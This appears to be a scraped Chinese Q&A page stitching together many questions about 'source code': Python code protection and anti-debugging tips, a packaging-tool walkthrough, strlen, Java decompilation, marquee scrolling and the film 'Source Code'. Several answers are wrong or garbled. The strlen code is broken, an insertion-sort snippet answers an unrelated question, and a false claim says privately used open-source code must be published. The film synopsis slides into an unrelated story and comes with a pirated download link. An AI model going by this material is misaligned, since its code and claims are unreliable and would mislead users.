大家都很忙,谁有时间看你的的烂代码! 如果真的怕泄露,别用python. 我以前做过这类事情,而且当时更严格,需要打包部署到客户的服务只在有效期内有效,超过有效期必须更新证书才行。 Python代码用任何方法都没法保证保密性,这个时候你可以考虑用一个工具「nuitka」,这个工具会把你的python源代码映射为c++然后编译为二进制,因此对方是无论如何得不到你的源代码的。 代价就是nuitka这个工具并不完美,有一些限制并不能100%完美的转换所有python代码。 1.用Cython编译python成 Windows的pyd文件或Linux的so文件,二进制文件相对安全性较高。 2.用源码混淆器把代码搞的又臭又长。。。混淆完了再用Cython编译为二进制。。。这样静态反编译逆向难度也不小。 3.同其他语言程序一样,可以对调试状态进行检测,当处于调试状态时退出程序或进入混乱代码耗费逆向工程人员心神。 4.分享一个跨平台反调试手段,检测函数运行时间,加断点会导致函数运行时间变长,也可感知正在被调试。 Python是提倡开源的,既然选择Python还是拥抱开源才好~ 都开源还担心逆向工程嘛 没有不能逆的软件。 只要汇编语言过关,逆向工程都是可以实现的,不要有其它想法。 你唯一可以做的,就是不让别人用python读取源代码而已。那样实现起来比较简单。 python 适合开发服务器程序,或者自己科研使用的程序,如果是 作为用户程序,安装到 pc 或手机上,还是 其它 c++ 或java 比较合适 1)可以把需要保护的部分用c语言实现,从而编译成so等文件,这样逆向的成本会比较高,可以防止直接打开python文件看到代码逻辑。 2)so文件通过ida等工具也是可以反汇编的,可以通过对c语言进行代码混淆,花指令等操作,提高通过ida等反汇编工具的分析难度。 3)不存在绝对无法逆向的技术手段,因此只能是看具体需求,选择具体的防逆向的技术手段。 有工具类似py2exe转成可执行程序,隐藏全部源代码,虽然bytecode还是可以反编译,但是难度大多了 1. 最稳的就是你改cpython加载代码的过程,改zip包读取最稳。 2. 借助一些加密工具在编译pyc之前进行一定的混淆,可以防君子,自我安慰一下。 商用一般都是用第一种办法,小打小闹用第二种。可以考虑使用pymod工具,使用pymod pack 将模块加密打包,发布的时候一个模块就一个文件。 先睹为快,看看一个项目发布的时候,只有几个文件, main.py 项目程序入口 setting.py 项目配置 apps 项目模块 plusins 项目插件目录创建项目 pymod create demo1 cd demo1 创建模块 pymod add mod1 启动pycharm 开始编写功能模块 一个模块默认由三个文件组成 __init__.py 、 handlers.py 、param_schemas.py 业务逻辑主要在handlers.py中编写 __init__.py from pymod.blueprint import Blueprint api = Blueprint("/mod1") from .handlers import * param_schemas.py schema_sfz = { "type": "object", "required": ["sfz", "nl"], "properties": { "sfz": { "type": "string", "minLength": 18, "maxLength": 18, "description": "身份证明号码" }, "nl": { "type": "integer", "minimum": 0, "maximum": 150, "description": "年龄" } } } handlers.py from . import api from pymod.ext import RequestHandler, params_validate,TrueResponse,FalseResponse from .param_schemas import schema_sfz from pymod.plugins import sfz_check @api.add_route("/hello") class Hello(RequestHandler): def get(self): self.write("Hello World") @params_validate(schema_sfz) def post(self): sfz = self.get_json_arg("sfz") nl =self.get_json_arg("nl") # self.write(TrueResponse(sfz=sfz, nl=nl)) if sfz_check.check_sfzmhm(sfz): self.write(TrueResponse(hint="身份证明号码验证通过")) else: self.write(FalseResponse(hint="身份证明号码验证失败")) 三、项目部署 程序调试 修改setting.py # 开发模式下 运行的模块名称必须填写 modules = ["mod1"] modules_config ={ "mod1": { "deny_ip": "", "allow_ip": "*" } } 启动程序 python main.py 调试没有问题,进入发布模式 在项目目录下 pymod pack mod1 在target目录下生成mod1.mod文件,将其复制到apps目录中 修改setting.py # 开发模式下 运行的模块名称必须填写 modules = [] 再次运行 python main.py 测试 一切OK,系统就可以发布了。说不能保密的,是没有研究过python的机制的。我做个一个项目,所有源代码自定义加密,运行时解密。

请问大家谁会用MFC编万年历?会的话麻烦把源代码发上来,谢了!

简单点话,把那个日历控件(Month Calendar)拖出来就OK了。

linux不是开源的吗,怎么没找到源代码呢,怎样才能看到linux的内核源代码?????我的是linux 5.0

网上有。www.linux.org www.kernel.org。一楼乱帖。源码占空间啊,一般盘里不带。

《源代码》高清资源谁有,求分享

《源代码》是由邓肯·琼斯执导,杰克·吉伦哈尔、维拉·法米加、米歇尔·莫娜汉等人联袂出演。影片于2011年4月1日在美国上映。点击下载电影源代码网盘资源:链接:https://pan.baidu.com/s/1IKQUAujt6IryTp1Ji_ryKw?pwd=1234提取码族尘:1234复制这段内容后打开百度网盘手机App,操作更方便哦影片讲述了一位在阿富汗执行任务的美国空军飞行员柯尔特·史蒂文斯,醒来时发现自己正处在一辆前往芝加哥的火车上,并就此经历的一系列惊心动魄的事件。“咚,咚”“呼,呼”,急促的心跳声和喘息声震耳欲聋。一切都开始模糊,继而扭曲变形。然后,一阵尖锐的火车汽笛声,将柯尔特·斯蒂文斯上尉(杰克·吉伦哈尔 饰演)拉回了现实。窗外,是疾驰倒退的绿地。坐在他对面塌帆的女子(米歇尔·莫娜汉 饰演)疑惑地看着走神的他,又继续着话题,柯尔特突然觉得头皮发麻。他不是这个女子口中的肖恩,也压根儿就不认识眼前这个叫做克里斯蒂娜的女子,他所记得的最后一件事情,是自己正在阿富汗执行飞行任务。导演邓肯·琼斯凭借科幻首作《月球》声名鹊起后,被制片商选中成为《源代码》的导演,得到的不仅仅是几倍的预算和设备,更获得强大幕后班底的加盟支持:《2012》、《后天》的制片人马克·戈登,《异种3》编剧本·雷普利,《阿甘正传》摄影师唐·博格斯及《谍中谍》剪辑保罗·赫希。演员方面更是邀请来好莱坞小生杰克·吉伦哈尔。故事开始说男主角“项少龙”是一名21世纪的特殊部队战士,在接到半强迫式命令下,成了时空转移的实验品,就这样项少龙因其实验的失败而由二十一世纪来到了公元前251年(秦始皇即位前五年)桑林村……项少龙面临困境,为了求存,忽发奇想,决以赵倩表弟赵盘冒充嬴政。项少龙在乌氏团穗雹的协助之下,成功避过赵穆耳目,举家与朱姬、嬴政(赵盘)母子逃出赵国,直奔咸阳。庄襄王死,由赵盘冒充嬴政继位,嬴政(赵盘)因未成年(未满二十一岁),仍未能正式加冕,使吕不韦得以摄政之名,大权在握,同时开始密谋对付项少龙。

strlen 函数的源代码

int fun(char s1[]){int i,ans;for(i=0;s1[i]!="";i++)ans=i+1;return ans;}

网站的源代码是指啥

楼上答得也太详细了,我都不敢发言了,呵呵

fanuc ladder软件怎么转成源代码?

1、在LADDER III中新建一个知程序文件(PMC类型随意选择一个)。2、然后在FILE菜单选择导入(IMPORT...)选项。3、在打开的对话框选择(MEMORY CARD FORMAT FILE),然后按下NEXT键,选择你自已的 “PMC-SB.000”文件。按下FINISH键。4、如道果你在第一步选的PMC类型不同于你导入的文件的PMC类型,会出现一个新的文件对话框。这时你只要输回入你的新的文件名即可。PMC类型系统自动选定。5、按提示操作即可。6、选择FILE—>SAVE...。

钱龙旗舰版宝塔线(TOWER)指标的源代码

市面上可以见到的宝塔线的源码都是加密的!老老实实的下个钱龙的看,相对准确一点!

编个小程序,完成一个图上面画一个点,给点标一个名字并且保存下来。可用任一一种语言编写,请写出源代码。

简单易懂点,最好是有注释的。

请问linux 的nslookup源代码怎么获取

http://ftp.isc.org/isc/bind9/9.7.2-P3/bind-9.7.2-P3.tar.gz这个里面

delphi的源代码叫什么文件

delphi的源代码文件,通常以 .pas 为文件扩展名。如果是 windows 程序,一般还会包含一个同名的窗体文件,以 .dfm 为扩展名。如下图示例:

汇编语言问题 在单片机LED上显示数字(0~9)的源代码是什么啊?

有点不太明白你在问什么,LED分为8段,刚好用一组引脚来控制,给出数据控制不同的段亮就能显示不同的数据,比如3FH对应ABCDEF亮G和小数点灭就显示0了,这个就是这么简单呀

求java rpg小游戏源代码 最好是文字rpg 不需要很复杂 只是交作业用

随便找一个,俄罗斯方块代码应付一下

开源软件的源代码都能下载吗?比如在开源中国社区里的一些软件,如何能下载它的源代码?求高手指教

能,需要自己到那个软件的官网上下,或者镜像网站上。开源软件的源代码都能下载吗?比如在开源中国社区里的一些软件,如何能下载它的源代码?求高手指教

怎么从开源中国下载某开源软件的源代码

打开开源中国网站;注册、登录;在网站内查找关键词;再所需要的网页下载。其实国外也有很多类似的网站,可以搜搜。

跪求有关SIR的matlab建模的解决方案,最好有源代码+解决思路。只提供解决思路的也万分感谢!

介绍介绍情况,看看我能不能帮你。

谁看过3D打印机的源代码

做过3D打印机的人大概都看过吧,以下是打印一个立方体的G代码:(字数所限,中间删除了); generated by Slic3r 0.9.9-dev on 2014-01-15 at 18:33:38; layer_height = 0.3; perimeters = 3; top_solid_layers = 3; bottom_solid_layers = 3; fill_density = 0.15; perimeter_speed = 30; infill_speed = 60; travel_speed = 130; nozzle_diameter = 0.5; filament_diameter = 1.75; extrusion_multiplier = 1; perimeters extrusion width = 0.70mm; infill extrusion width = 0.70mm; solid infill extrusion width = 0.70mm; top infill extrusion width = 0.70mm; first layer extrusion width = 0.60mmG21 ; set units to millimetersM107M104 P200 ; set temperatureG28 ; home all axesG1 Z5 F5000 ; lift nozzleM109 P200 ; wait for temperature to be reachedG90 ; use absolute coordinatesG0 Z0.300 F1800.000 A-1.00000G0 X85.260 Y85.440 F7800.000G0 F1800.000 A0.00000G1 X85.840 Y84.900 F540.000 A0.05718G1 X86.260 Y84.590 A0.09485G1 X86.940 Y84.170 A0.15252。。。。。。。M107M104 S0 ; turn off temperatureG28 X0 ; home X axisM84 ; disable motors; filament used = 999.4mm (2.4cm3)另外还有3D打印机固件源代码,是开源的,网上可以下载看,这里就不再举例了。

电影《源代码》片尾曲

源代码电影里就有这么多首,你自己下来听听,应该可以找到: Am I DeadCoffee Will Have To WaitSource Code ExplainedSource Code Main TitlesRacial ProfilingOne Death Is EnoughI"m Gonna Save HerFrozen MomentNo More Rubble TodayEight MinutesYou Don"t Know MePiecing It TogetherEverything"s Gonna Be OkayA Real ValidationRegret And ReconciliationColter Follows

编程,src是源代码的意思,那么它的全称是Source还是 Source 什么 Code的取首字母?中间的单词是什么?

src是源代码的意思src是取Source中的S r c中的字母这个不固定取那几个字母,外国人的习惯或者和读音有关系,不过这些都是约定成俗,就比如 you 写成 u 而不写成 y一般都是简写单词,比如res就是resource的简写但也有特殊,比如usr本身是 Unix System Resource 的缩写

谁有《源代码》百度网盘资源,发给我一份呗

源代码这部剧挺好看的,我有资源,就在戳我简介诶里,里面的资源都是免费的哦

“源代码”的英文怎么说

Source Code

java中session是不是一个类,如是,源代码是什么?

简单通俗的讲session就是象一个临时的容器来存放这些临时的东西从你登陆开始就保存在session里当然你可以自己设置它的有效时间和页面举个简单的例子我们做一个购书的JSP网站顾客买书的时候会挑选出一些书但是在付钱之前还可以修改,所以不能存到数据库就可以先保存在session里等到确认了以后再放入数据库...understand?

开源代码个人用需要公开吗

需要。码云Gitee宣布,所有开源代码必须经审核不含违规内容,才能公开访问。源代码(也称源程序),是指一系列人类可读的计算机语言指令。

经常看不懂GitHub开源代码的readme要求我做什么。我应该恶补哪方面的英语?

reademe 一般是告诉你这个项目功能是什么,还有配置 运行 你只需要知道一些动词比如安装 的单词,下载的单词然后 结合具体的名词比如 那些具体的比如linux ,jdk,这些单词,去一步一步照做 ,就可以了,一般英语水平就可以了

求截取该flash小游戏的源代码的方法,万分感激!!!

要自带flash模块,只要有了flash模块,下一步就是找到你喜欢的那个小游戏flash SWF格式的网址。

谁有flash小游戏的源代码,要有详细注释的,简单的就行,交作业用,谁有,给发一份,谢谢啊

好像是592864

如何防止JAVA程序源代码被反编译

我们都知道JAVA是一种解析型语言,这就决定JAVA文件编译后不是机器码,而是一个字节码文件,也就是CLASS文件。而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png");我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。第一行:ldc #16ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png.所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。第二行:2 invokestatic #18invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下invokestatic indexbyte1 indexbyte2其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。所以当我们看常量池中索引为18的地方,我们就会得到以下信息:Class Name : cp_info#1Name Type : cp_info#191 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了short [] parseImage(String)那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

如何防止JAVA程序源代码被反编译

我们都知道JAVA是一种解析型语言,这就决定JAVA文件编译后不是机器码,而是一个字节码文件,也就是CLASS文件。而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png");我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。第一行:ldc #16ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png.所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。第二行:2 invokestatic #18invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下invokestatic indexbyte1 indexbyte2其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。所以当我们看常量池中索引为18的地方,我们就会得到以下信息:Class Name : cp_info#1Name Type : cp_info#191 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了short [] parseImage(String)那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

如何防止JAVA程序源代码被反编译

而这样的文件是存在规律的,经过反编译工具是可以还原回来的。例如Decafe、FrontEnd,YingJAD和Jode等等软件。下面是《Nokia中Short数组转换算法》 类中Main函数的ByteCode:0 ldc #162 invokestatic #185 astore_16 return其源代码是:short [] pixels = parseImage("/ef1s.png"); 我们通过反编译工具是可以还原出以上源代码的。而通过简单的分析,我们也能自己写出源代码的。 第一行:ldc #16 ldc为虚拟机的指令,作用是:压入常量池的项,形式如下ldc index这个index就是上面的16,也就是在常量池中的有效索引,当我们去看常量池的时候,我们就会找到index为16的值为String_info,里面存了/ef1s.png. 所以这行的意思就是把/ef1s.pn作为一个String存在常量池中,其有效索引为16。 第二行:2 invokestatic #18 invokestatic为虚拟机指令,作用是:调用类(static)方法,形式如下 invokestatic indexbyte1 indexbyte2 其中indexbyte1和indexbyte2必须是在常量池中的有效索引,而是指向的类型必须有Methodref标记,对类名,方法名和方法的描述符的引用。 所以当我们看常量池中索引为18的地方,我们就会得到以下信息: Class Name : cp_info#1 Name Type : cp_info#19 1 和19都是常量池中的有效索引,值就是右边<中的值,再往下跟踪我就不多说了,有兴趣的朋友可以去JAVA虚拟机规范。 这里我简单介绍一下parseImage(Ljava/lang/String;)[S 的意思。 这就是parseImage这个函数的运行,我们反过来看看parseImage的原型就明白了 short [] parseImage(String) 那么Ljava/lang/String;就是说需要传入一个String对象,而为什么前面要有一个L呢,这是JAVA虚拟机用来表示这是一个Object。如果是基本类型,这里就不需要有L了。然后返回为short的一维数组,也就是对应的[S。是不是很有意思,S对应着Short类型,而“[”对应一维数组,那有些朋友要问了,两维呢,那就“[[”,呵呵,是不是很有意思。 好了,调用了函数,返回的值要保存下来吧。那么就是第三行要做的事情了。

java的源代码隐藏问题

打成exe格式

在往下的开源代码要怎么打开? 例如什么跳棋什么的。IBM开发的赛车游戏什么的。 怎么打开啊?

jar是已经编译好的文件,需要反编译,请楼主google一个jar反编译工具,如JODE,Dava等

如何让dev c++新建源代码就自动包含一段固定代码

没用过,不太清楚。如果有模板设置的话你可以设置一个模板看看。

求高手修复选股指标源代码?

公式源码的修改,是比较消耗时间和精力的这样说你能明白吗?看懂了你就知道怎么做可以帮你修改,用的是什么软件?

Github上把源代码下载以后怎么使用?

我可以帮你看看,把apk怎么发给你?

在哪里可以看到JAVA的object类中clone方法的源代码?

这方法在Object中并未实现/** * Creates and returns a copy of this object. The precise meaning * of "copy" may depend on the class of the object. The general * intent is that, for any object <tt>x</tt>, the expression: * <blockquote> * <pre> * x.clone() != x</pre></blockquote> * will be true, and that the expression: * <blockquote> * <pre> * x.clone().getClass() == x.getClass()</pre></blockquote> * will be <tt>true</tt>, but these are not absolute requirements. * While it is typically the case that: * <blockquote> * <pre> * x.clone().equals(x)</pre></blockquote> * will be <tt>true</tt>, this is not an absolute requirement. * <p> * By convention, the returned object should be obtained by calling * <tt>super.clone</tt>. If a class and all of its superclasses (except * <tt>Object</tt>) obey this convention, it will be the case that * <tt>x.clone().getClass() == x.getClass()</tt>. * <p> * By convention, the object returned by this method should be independent * of this object (which is being cloned). To achieve this independence, * it may be necessary to modify one or more fields of the object returned * by <tt>super.clone</tt> before returning it. Typically, this means * copying any mutable objects that comprise the internal "deep structure" * of the object being cloned and replacing the references to these * objects with references to the copies. If a class contains only * primitive fields or references to immutable objects, then it is usually * the case that no fields in the object returned by <tt>super.clone</tt> * need to be modified. * <p> * The method <tt>clone</tt> for class <tt>Object</tt> performs a * specific cloning operation. First, if the class of this object does * not implement the interface <tt>Cloneable</tt>, then a * <tt>CloneNotSupportedException</tt> is thrown. Note that all arrays * are considered to implement the interface <tt>Cloneable</tt>. * Otherwise, this method creates a new instance of the class of this * object and initializes all its fields with exactly the contents of * the corresponding fields of this object, as if by assignment; the * contents of the fields are not themselves cloned. Thus, this method * performs a "shallow copy" of this object, not a "deep copy" operation. * <p> * The class <tt>Object</tt> does not itself implement the interface * <tt>Cloneable</tt>, so calling the <tt>clone</tt> method on an object * whose class is <tt>Object</tt> will result in throwing an * exception at run time. * * @return a clone of this instance. * @exception CloneNotSupportedException if the object"s class does not * support the <code>Cloneable</code> interface. Subclasses * that override the <code>clone</code> method can also * throw this exception to indicate that an instance cannot * be cloned. * @see java.lang.Cloneable */ protected native Object clone() throws CloneNotSupportedException;

JAVA源代码的扩展名为( )

当然是B啦

下载了topmodel模型源代码,怎么使用啊,怎么调试啊,里面的东西运行不了

voidinsertion_sort(intarray[],intfirst,intlast){inti,j;inttemp;for(i=first+1;i<last;i++){temp=array[i];j=i-1;//与已排序的数逐一比较,大于temp时,该数移后while((j>=0)&&(array[j]>temp)){array[j+1]=array[j];j--;}//存在大于temp的数if(j!=i-1){array[j+1]=temp;}}}

marquee滚动有空白怎么去掉,最好在我的源代码上修改谢谢

呵呵,不建议你采用这种滚动方法。我给你写一个。滚动区域的高度和宽度你只需要修改height和width就可以了,background是背景颜色,color是文字颜色。<div id=demo style=overflow:hidden;height:139;width:232;background:#f4f4f4;color:#ff0000><div id=demo1>这中间写你要滚动的内容,<br>可以是图片文字,<br>超链接等等。<br>不过要注意哦,<br>如果你的内容高度<br>不超过你滚动的区域高度,<br>可能会出现不滚动的情况。</div><div id=demo2></div></div> <script> var speed=50 demo2.innerHTML=demo1.innerHTML function Marquee(){ if(demo2.offsetTop-demo.scrollTop<=0) demo.scrollTop-=demo1.offsetHeight else{ demo.scrollTop++ } } var MyMar=setInterval(Marquee,speed) demo.onmouseover=function() {clearInterval(MyMar)} demo.onmouseout=function() {MyMar=setInterval(Marquee,speed)} </script>
 1 2  下一页  尾页